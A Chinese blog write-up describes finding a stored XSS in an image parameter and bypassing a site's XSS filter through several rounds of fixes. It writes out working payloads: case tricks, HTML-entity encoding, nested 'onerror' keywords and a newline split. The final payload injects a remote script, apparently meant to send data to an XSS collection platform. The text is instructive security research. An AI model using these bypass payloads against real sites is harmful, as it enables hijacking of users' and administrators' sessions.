一日在某站点发现一个找茬活动，感觉是另类的src就参与了一下。就发生了这次有趣的XSS测试过程。
0×00 开始
(注意1)XSS不仅存在于页面上直观所在的位置，所有用户输入的信息都有可能通过不同形式返回到页面上，因此直接操作数据包来查找XSS显得更加有效。
回到该站点，在该站点一处生成app处存在一处忘记过滤。
发送的数据包如下：
- appName=TEST&icon=&loadimage=%2Ftemplate201309%2F29%2Floadimage%2F1a8aaba1-42bd-401b-9995-0f7ba08f191b.png&diyAppid=0210bd39-de98-4a1b-b855-4b0a0732894a
经过测试发现其中loadimage参数未经过过滤，这也就是我说的隐藏的输入输出位,最终直接构造:
- loadimage=xxxxx"%20onerror="alert(1)"
0×01 觉醒
在漏洞上报之后，程序员觉醒了，由于涉及其它页面参数输出过滤的影响，无法直接使用粗暴的编码把”(双引号)过滤，而是使用一定的过滤规则来规避xss攻击。
(注意2)XSS绕过一般针对于程序员所使用的过滤规则的疏漏，但是首要目标应该是在程序员未过滤的点上，而只有规则的不严谨才有绕过的可能。
在得到客服的回复确认漏洞修复之后，再次回到该点进行测试，继而发现了有趣的情况。
测试代码：
- loadimage=xxxxx"%20onerror="alert(1)" à <img class="appicon_img" src="xxxxxx" ***(1)>
经过这个测试用例发现，在空格之后的内容经过了一次处理，将其中alert替换成了***，onerror=直接删除。
分析发现空格之后的内容会被直接删除，onXXX被直接删除。
于是结合过往经验，使用大小写来尝试绕过字符串替换。
测试代码：
- loadimage=xxxxx"onError="alert(1)" à<img class="appicon_img" src="xxxxxx"onError=”***(1)”>
于是我们利用了浏览器的一个特性，在解析的时候将双引号与其后内容分割，所以在源码中是：
- <img class="appicon_img" src="xxxxxx"onError=”***(1)”>
而解析过程中显示：
- <img class="appicon_img" src="xxxxxx" onError=”***(1)”>（自动添加空格）
之后就是要构造我们的alert。(只有alert才是我想要的，什么prompt，confirm都不是我想要的。)
这里要说到的就是转编码的利用。
详文可参考：
http://drops.wooyun.org/tips/689
处于html上下文的字符串将会优先进行一次html解码，而处于onXXXX、javascript:、script等标签之中的则处于javascript上下文，其中变量字符串将会执行一次javascript解码。
运用这个特性，我们可以在onerror事件当中使用html编码来构造任意字符，而其中所必须的字符为&，很幸运的时该字符并未被过滤。因此我可以使用其构造任意字符，达到绕过的效果。
直接构造：
- loadimage=xxxxx"onError="%26#x61lert(1)"
0×02 绝杀
再次提交客服，并得到修复确认后，又进行了一次测试，之后继续有趣。
(注意3)确定过滤规则是绕过限制的第一步，通过已知规则构造绕过payload来生成所需字符为最终目的。
绕过富文本大概的思路就是这样。
继续通过输入不同字符串来检查新增的过滤规则，最终得到几条有用的信息：
- <img src="1"onerroonerrorr=r= /> ==> <img src="1"onerror>
- <img src="1"onerror===”xxx” /> ==> <img src="1" =”xxx” />
本以为结合一下就成了，没想到变成这样：
- <img src="1"onerroonerrorr=r= onerror===”xxx”/> ==> <img src="1" />
初步分析等到的规则：
1、onxxx= 将会去除on以及=和它们之间的内容
2、有 = 号就会检查前面有没有on
3、tab %20（空格）之后的内容全部清除
4、碰到双引号就停止删除
大概统计了一下以上的过滤规则，就可以开始构造payload了。
使用src=”1″onerroonerrorr=r生成onerror。
使用%0a(换行)来分割导致过滤不起作用。
最终完成了整条payload：
- <img src="1"onerroonerrorr=r%0a="prompt(/just kidding!/)" />
(这次不计较与alert了，使用上一条方法即可。)
最终截图：
同样可以解析成功!
0×03 利用
完整的XSS一定需要附带利用的过程，可完整构造payload还需要考虑很多情况，比如关键字符串的替换、输出点允许的最大字长、是否可影响其他用户或管理员。
最终侦查该点，长度为262个字符，替换了script、create等字符，不过通过之前记录下来的方法完全可以利用。
Payload：
- <img/src="1" onerroonerrorr=r%0a="window.s=document.cre%26#61teElement(String.fromCh%26#61rCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(1,2,3,4,5,6,7,8);document.body.%26#61ppendChild(window.s)">
即使你的xss平台URL很长，也可以通过利用短域名压缩的方式达到一个较低的水平。
0×04 总结
新手在找XSS的时候总是存在一些盲点，无法全面的获取用户输入位以及该点的输出页面，对于存储型XSS来说，输出的页面不局限于当前页面。
探查程序的代码逻辑是绕过的根本，fuzz虽然提高了效率，但是想要准确的发现问题必须有要针对性的构造语句。
另外一些领悟可以移驾gainover所写的一篇短文：
http://zone.wooyun.org/content/1557
0×05 后话
最后一次绕过是在5.12，不知道之后该站程序员会怎么样去处理这个问题。